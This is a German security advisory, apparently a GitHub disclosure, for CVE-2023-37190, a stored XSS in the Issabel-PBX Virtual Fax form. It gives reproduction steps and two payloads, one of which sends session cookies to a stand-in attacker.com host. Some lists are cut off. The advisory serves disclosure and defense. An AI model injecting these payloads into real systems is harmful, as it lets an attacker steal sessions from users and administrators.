
Eine Stored Cross-Site Scripting (XSS)-Schwachstelle existiert in Issabel-PBX Version 4.0.0-6. Die Anwendung versäumt es, benutzereingegebene Eingaben ordnungsgemäß zu bereinigen und zu kodieren, bevor sie in der Datenbank gespeichert und anschließend in der Weboberfläche dargestellt werden.
| Feld | Details |
|---|
| CVE-ID | CVE-2023-37190 |
| Schwachstelle | Stored Cross-Site Scripting (XSS) |
| Betroffenes Produkt | Issabel-PBX |
| Betroffene Version | 4.0.0-6 |
| Schweregrad | Mittel (CVSS v3.1 Wert: 5.4) |
| Entdeckt von | Sahil Ojha |
| Offenlegungsdatum | 07. Juli 2023 |
| Anbieter | Issabel |
| Quellcode | IssabelFoundation/issabelPBX |
| Getestet auf | Windows |
Eine Stored Cross-Site Scripting (XSS)-Schwachstelle existiert in Issabel-PBX Version 4.0.0-6. Die Anwendung bereinigt und kodiert benutzereingegebene Daten nicht ordnungsgemäß, bevor sie in der Datenbank gespeichert und anschließend in der Weboberfläche dargestellt werden.
Die Schwachstelle befindet sich im Virtual Fax-Modul, genauer gesagt im „New Virtual Fax“-Erstellungsformular. Zwei Eingabeparameter – Virtual Fax Name und Caller ID Name – unterliegen keiner ausreichenden Eingabevalidierung oder Ausgabekodierung. Dadurch kann ein niedrig privilegierter authentifizierter Angreifer eine bösartige JavaScript-Nutzlast injizieren und dauerhaft in der Anwendung speichern.
Nach dem Speichern wird das bösartige Skript automatisch im Browser jedes Benutzers (einschließlich Administratoren) ausgeführt, der die betroffene Seite besucht, ohne dass der Angreifer weitere Interaktion benötigt.
Ein Angreifer, der diese Schwachstelle erfolgreich ausnutzt, kann:
Da die Nutzlast gespeichert (persistent) ist, betrifft sie jeden Benutzer, der die anfällige Seite besucht, bis sie entfernt wird – was diese Schwachstelle schwerwiegender macht als eine reflektierte XSS.
| Metrik | Wert |
|---|---|
| Basiswert | 5,4 (Mittel) |
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Rechte | Niedrig |
| Benutzerinteraktion | Erforderlich |
| Umfang | Geändert |
| Vertraulichkeit | Niedrig |
| Integrität | Niedrig |
| Verfügbarkeit | Keine |
Virtual Fax NameCaller ID NameSchritt 1: Melden Sie sich mit gültigen Anmeldedaten in der Issabel-PBX-Webanwendung an.
Schritt 2: Navigieren Sie zu Fax → Virtual Fax → New Virtual Fax.
Injectieren Sie die folgende XSS-Nutzlast in die Felder Virtual Fax Name und/oder Caller ID Name:
<script>alert('XSS-CVE-2023-37190')</script>
Für einen wirkungsvolleren Proof-of-Concept, der den Diebstahl von Sitzungscookies demonstriert (Hinweis: In echten Angriffen wird HTTPS verwendet, um gestohlene Cookies nicht während der Übertragung offenzulegen):
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
Das ausgefüllte Formular mit der injizierten Nutzlast sollte ähnlich wie im folgenden Screenshot aussehen:

Schritt 3: Klicken Sie auf die Schaltfläche Save, um das Formular abzusenden. Die Nutzlast wird nun dauerhaft in der Anwendungsdatenbank gespeichert.
Schritt 4: Navigieren Sie zur Liste der virtuellen Faxe (oder lassen Sie einen anderen Benutzer – z. B. einen Administrator – die Seite besuchen). Das gespeicherte Skript wird automatisch im Browser des Besuchers ausgeführt, wie unten gezeigt:

Benutzern und Administratoren von Issabel-PBX wird dringend empfohlen, die folgenden Maßnahmen zu ergreifen:
<, >, ", ', &) enthalten.Content-Security-Policy-HTTP-Header, um die Quellen einzuschränken, von denen Skripte ausgeführt werden können, und so die Auswirkungen von XSS-Schwachstellen zu verringern.Sahil Ojha
Sicherheitsforscher
GitHub: @sahiloj
Haftungsausschluss: Dieses Repository dient ausschließlich Bildungs- und verantwortungsvollen Offenlegungszwecken. Die hier bereitgestellten Informationen sollten nicht verwendet werden, um Systeme ohne ausdrückliche schriftliche Genehmigung des Systembesitzers anzugreifen. Der Autor ist nicht verantwortlich für jeglichen Missbrauch dieser Informationen.